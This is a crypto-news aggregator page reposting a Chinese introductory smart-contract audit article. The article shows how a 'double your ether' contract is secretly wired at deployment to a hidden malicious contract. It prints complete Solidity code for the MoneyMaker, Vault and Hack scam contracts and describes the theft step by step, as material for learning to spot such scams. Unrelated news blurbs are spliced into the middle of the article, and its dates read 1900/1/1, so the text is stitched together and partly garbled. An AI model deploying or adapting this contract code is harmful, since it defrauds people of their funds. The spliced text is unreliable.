買以太坊 買以太坊
Ctrl+D 買以太坊
ads
首頁 > 比特幣 > Info

NBS:智能合約安全審計入門篇 —— 移花接木_QUO

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用 tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個 A 合約并告訴受害者我們會在部署 A 合約的構造函數中傳入 B 合約的地址并將 B 合約開源,其實我們會在部署 A 合約時傳入 C 合約的地址,如果受害者完全信任我們沒有檢查部署 A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了 C 合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約 A 傳入合約 B 地址,這樣調用路徑為正常路徑。

實際的調用路徑:

部署合約 A 傳入合約 C 地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker {    Vault vault;    constructor(address _vault) {        vault = Vault(payable(_vault));    }    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");        uint256 amount = msg.value * 2;        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");        vault.transfer(recipient, amount);    }}contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;    constructor(address _evil) {        evil = _evil;    }    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}騙局分析

Hamster宣布智能合約Gas分析工具正式上線:4月25消息,一站式Web3.0安全開發環境及中間件引擎Hamster自研的智能合約代碼分析工具正式上線。據悉,該工具可向Web3.0數以十萬計的智能合約提供合約Gas消耗情況分析,能大幅提高合約運行效率,緩解以太坊網絡堵塞情況。此外,Hamster將自動創建模擬鏈并生成Gas費消耗報告,讓開發者更好地了解自己合約在以太坊網絡中的消耗情況。通過結果分析,開發者還可以發現合約中的潛在問題,如:循環操作次數過多;過量的存儲操作與計算操作;不必要的外部調用及復雜性設計等。能進一步優化合約的性能和可靠性,降低運行成本。[2023/4/25 14:25:06]

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的 A, B, C 三個角色來區分三個合約分別代表什么角色:

MoneyMaker 合約代表 A 合約;

Vault 合約代表 B 合約;

Hack 合約代表 C 合約。

所以用戶以為的調用路徑為:

MoneyMaker -> Vault。

而實際的調用路徑為:

MoneyMaker -> Hack。

下面我們來看看攻擊者如何完成騙局的:

1. Evil 部署 Vault(B) 合約并在合約中留存 100 ETH 資金,在鏈上將 Vault(B) 合約開源;

Open Zeppelin發布智能合約庫Cairov0.2.0,改進了可擴展性模式:7月6日消息,區塊鏈安全公司Open Zeppelin發布為StarkNet編寫的智能合約庫Cairov0.2.0,該版本利用Cairo命名空間迭代了可擴展性模式;實施了與以太坊兼容賬戶合約的第一個版本;附帶了安全訪問和權限管理的基本構建塊Access Control庫;增加免受重入攻擊的實用程序Reentrancy Guard等。[2022/7/6 1:54:22]

2. Evil 部署 Hack(C) 惡意合約;

3. Evil 放出消息說他將會部署一個開源的賺錢 MoneyMaker(A) 合約,部署時會將 Vault(B) 合約地址傳入且會調用 Vault.setMacker() 將 maker 角色設置為 MoneyMaker 合約地址,任何人調用 MoneyMaker.makeMoney() 向合約中打入不少于一個以太都會得到雙倍以太的回報;

4. Bob 收到消息,了解到 MoneyMaker 合約的存在,他看了 MoneyMaker(A) 和 Vault(B) 合約的代碼并檢查了 Vault(B) 合約中的余額發現邏輯確實如 Evil 說的那樣,他在沒有檢查 MoneyMaker(A) 部署交易的情況下就相信了 Evil;

5. Bob 調用 MoneyMaker.makeMoney() 向合約中打入自己全部身家 20 ETH,在他滿懷期待等著收到 Vault(B) 打來的 40 ETH 時等來的卻是一句 "Haha, your ether is mine!"。

上汽通用五菱區塊鏈智能合約平臺上線:10月25日消息,上汽通用五菱區塊鏈智能合約平臺正式上線。區塊鏈智能合約平臺可應用于物料收貨、退貨、對賬、差異調整業務場景,實現電子簽單及單據電子化管理。未來區塊鏈智能合約平臺還將對接業務執行系統,實現交易流程便捷化,助力公司數字化轉型。[2021/10/25 20:55:37]

咋回事呢?其實這個騙局非常簡單但是很常見。Evil 在部署 MoneyMaker 合約時傳入的并不是 Vault 合約的地址,而是傳入了 Hack 合約的地址。所以當 Bob 調用 MoneyMaker.makeMoney() 時并不會像他想像中的那樣 MoneyMaker.makeMoney() 去調用 Vault.transfer() 回打給他雙倍的以太,而是調用了 Hack.transfer() 拋出了一個事件:"Haha, your ether is mine!"。最后 Evil 調用 Vault.withrow() 將 Vault 合約中的 100 ETH 轉出,并通過 Hack.withrow() 將 Bob 轉入的 20 ETH 轉出。

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

慢霧科技

個人專欄

閱讀更多

金色薦讀

金色財經 善歐巴

OKEx CEO JayHao:OKChain支持訂單簿和Swap模型的DEX,兼容以太坊智能合約:9月12日,OKEx CEO Jay Hao在微博透露,OKChain將同時支持訂單簿和Swap模型的DEX,兼容以太坊智能合約。

據了解,OKChain測試網已升級至v0.11.1版本,增添了支持OpenDEX-Desktop v0.0.2的核心功能。[2020/9/12]

迪新財訊

Chainlink預言機

區塊律動BlockBeats

白話區塊鏈

金色早8點

Odaily星球日報

MarsBit

Arcane Labs

Incognito推出為以太坊智能合約提供隱私保護的pEthereum項目:加密貨幣隱私解決方案提供商Incognito公開pEthereum項目,這是一個為以太坊智能合約提供隱私保護的基礎設施,所有交易將會通過零知識證明加密,從而允許用戶保留隱私。pEthereum的核心概念包括跨鏈指令、去信任方式連接以太坊和Incognito的雙向橋接工具、以太坊中的“經紀人”智能合約、以太坊中的去中心化應用(dApp)、以太坊中dApp的的隱私保護版本pApp。

Incognito還計劃在5月推出具有隱私保護的Kyber和0x,然后在6月推出具有隱私保護的Compound和Uniswap。[2020/4/27]

Tags:BSPNBSQUOMAKEBSPAY價格nbs幣前景QUO幣makerdao是什么幣

比特幣
NBS:鏈上數據解讀上海升級后的以太坊網絡現狀_BSP

作者:Tharm Lertviwatkul ,nansen?目前信標鏈上有 1930 萬個 ETH(包括獎勵).

1900/1/1 0:00:00
META:Meta萬字報告呼吁美國建元宇宙強國_Meta4Dead

近日,Facebook的母公司Meta發布研究報告《元宇宙及其對美國的潛力》(The Metaverse and its Potential for the United States).

1900/1/1 0:00:00
區塊鏈:模塊化將成為跨鏈的終局?_YMEN

無論是資產跨鏈還是信息/數據跨鏈,目前市場上已有太多的跨鏈橋及各類跨鏈協議,據 chainspot,目前市場上約有 114 個跨鏈橋及 130 余個網絡,賽道擁擠.

1900/1/1 0:00:00
COI:一文讀懂BRC-20通證_Slimcoin

Bitcoin應該只作為數字黃金使用,還是應該實現更加復雜的功能呢?Ordinal NFT的出現激起了大家對bitcoin的新一輪關注.

1900/1/1 0:00:00
以太坊:13個不容錯過的潛在空投項目_TROLLBNB

作者:ardizor,加密KOL;翻譯:金色財經0xxz空投成就了百萬富翁,但高昂的鏈上費用卻讓一些人望而卻步。我整理出了13個零成本潛在空投項目。千萬不要錯過.

1900/1/1 0:00:00
KIM:為什么 Web3 正面臨著身份危機?_ZAP

作者:RICHARD SMITH任何與 ChatGPT 交互過的人都會心里出現這個令人不安的問題:“這個東西是人類還是機器?”從本質上講,這個問題是圖靈測試期待已久的失敗.

1900/1/1 0:00:00
ads